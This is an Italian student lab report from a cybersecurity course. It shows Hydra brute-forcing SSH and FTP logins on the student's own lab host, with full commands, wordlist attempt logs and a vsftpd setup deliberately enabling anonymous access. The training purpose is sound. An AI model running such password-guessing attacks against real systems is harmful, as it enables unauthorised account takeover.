

# EPICODE-CS0124

## S6/L4 - Pratica

Flaviano Sedici

### Pratica

#### Password cracking

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

### 1. Hydra tramite servizio SSH

#### 1.1. Configurazione servizio SSH

Il file di configurazione del servizio SSH è stato configurato in modo tale che il nuovo utente creato "test\_user" abbia accesso a tutti i server esposti dall'host con protocollo SSH.

Fonte: <https://phoenixnap.com/kb/ssh-config>

```
# ssh_config(5) man page.

Include /etc/ssh/ssh_config.d/*.conf

Host *
  User test_user
  PasswordAuthentication yes
# ForwardAgent no
```

Configurazione SSH

#### 1.2. Avvio del test con Hydra con le credenziali corrette per verifica

Il primo test è stato effettuato con le credenziali corrette in modo da verificare il funzionamento di Hydra.

```
(flaviano@kaliArm)-[~]
$ hydra -l test_user -p testpass 192.168.50.100 ssh -v
Hydra V9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for ill
egal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 10:14:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent
overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test user" - pass "testpass" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 or 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 10:14:30
```

Riepilogo primo test Hydra

Come si evince dallo screenshot avendo inserito una sola combinazione utente e password oltretutto corretti, abbiamo verificato la funzionalità di Hydra.

### 1.3. Avvio del test con Hydra con le liste di credenziali personalizzate

Abbiamo creato una lista ridotta di credenziali personalizzate, includendo l'utenza test\_user e la sua password circa a metà del file.

Eseguendo il codice, attendiamo che Hydra provi tutte le combinazioni username e password presenti nelle due liste.

```
(flaviano@kali)~$ hydra -L '/home/flaviano/Desktop/CSS_0124/S6/username_S6_L4.txt' -P '/home/flaviano/Desktop/CSS_0124/S6/password_S6_L4.txt' 192.168.50.100 ssh -V
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for ill
egal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 10:15:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:2/p:500), ~63 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 1000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 4 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 5 of 1000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 1000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 7 of 1000 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 8 of 1000 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 9 of 1000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 10 of 1000 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 11 of 1000 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "baseball" - 12 of 1000 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 13 of 1000 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 14 of 1000 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "football" - 15 of 1000 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 16 of 1000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 17 of 1001 [child 12] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 18 of 1001 [child 5] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" - 19 of 1001 [child 8] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuckme" - 20 of 1001 [child 10] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "6969" - 21 of 1001 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jordan" - 22 of 1001 [child 6] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "harley" - 23 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ranger" - 24 of 1001 [child 15] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "iwantu" - 25 of 1001 [child 0] (0/1)
```

#### Esecuzione di Hydra con l'utilizzo di liste

A seguito di qualche tentativo, notiamo che la password sia stata identificata da Hydra.

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 83 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "freedom" - 84 of 1001 [child 15] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ginger" - 85 of 1001 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "blowjob" - 86 of 1001 [child 3] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "nicole" - 87 of 1001 [child 9] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sparky" - 88 of 1001 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "yellow" - 89 of 1001 [child 13] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "camaro" - 90 of 1001 [child 4] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "secret" - 91 of 1001 [child 7] (0/1)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "123456" - 501 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "password" - 502 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "12345678" - 503 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "1234" - 504 of 1001 [child 14] (0/1)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "pussy" - 505 of 1001 [child 14] (0/1)
```

#### Identificazione della password corretta

## 2. Hydra tramite servizio FTP

### 2.1. Configurazione servizio FTP

Abbiamo installato e configurato il servizio vsftpd autorizzando anche l'accesso anonimo senza password tramite l'utenza ftp.

Fonte: <https://linux.die.net/man/5/vsftpd.conf>

```
# sockets. If you want that (perhaps b
# addresses) then you must run two cop
# files.
listen_ipv6=YES
#
# Allow anonymous FTP? (Disabled by de
anonymous_enable=YES
# Local encrypted connections. If this opt
# Uncomment this to allow local users
local_enable=YES
#
# Uncomment this to enable any form of
#writeln_enable=YES
```

Configurazione servizio FTP

```
(flaviano@kaliArm)-[/etc]
$ ftp 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:flaviano): ftp
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

(flaviano@kaliArm)-[/etc]
$ sudo nano vsftpd.conf

(flaviano@kaliArm)-[/etc]
$ sudo service vsftpd restart

(flaviano@kaliArm)-[/etc]
$ ftp 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:flaviano): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Test utenza anonima ftp (prima e dopo)

### 2.2. Avvio del test con Hydra con le liste di credenziali personalizzate

Abbiamo creato una lista ridotta di credenziali personalizzate, includendo l'utenza test\_user e la sua password circa a metà del file.

```
(flaviano@kaliArm)-[~]
$ hydra -L '/home/flaviano/Desktop/CSS_0124/S6/username_S6_L4.txt' -P '/home/flaviano/Desktop/CSS_0124/S6/password_S6_L4.txt' ftp://192.168.50.100 -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 10:35:41
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found
, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:2/p:500), ~63 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 1000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 4 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 5 of 1000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 1000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 7 of 1000 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 8 of 1000 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 9 of 1000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 10 of 1000 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 11 of 1000 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "baseball" - 12 of 1000 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 13 of 1000 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 14 of 1000 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "football" - 15 of 1000 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 16 of 1000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 17 of 1000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 18 of 1000 [child 0] (0/0)
```

Esecuzione di Hydra con l'utilizzo di liste

Eseguendo il codice, attendiamo che Hydra provi tutte le combinazioni username e password .presenti nelle due liste.

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "patrick" - 81 of 1000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "martin" - 82 of 1000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 83 of 1000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "freedom" - 84 of 1000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ginger" - 85 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "blowjob" - 86 of 1000 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "nicole" - 87 of 1000 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sparky" - 88 of 1000 [child 10] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "123456" - 501 of 1000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "password" - 502 of 1000 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "12345678" - 503 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "1234" - 504 of 1000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "pussy" - 505 of 1000 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "12345" - 506 of 1000 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dragon" - 507 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "qwerty" - 508 of 1000 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "696969" - 509 of 1000 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "mustang" - 510 of 1000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "letmein" - 511 of 1000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "baseball" - 512 of 1000 [child 1] (0/0)
```

Identificazione della password corretta

A seguito di qualche tentativo, notiamo che la password sia stata identificata da Hydra

---

### 3. Conclusione

Come è evidente le operazioni effettuate da Hydra sono piuttosto efficienti rispetto ad un attacco manuale, ma comunque questo tipo di attacco è piuttosto dispendioso soprattutto a livello di tempo.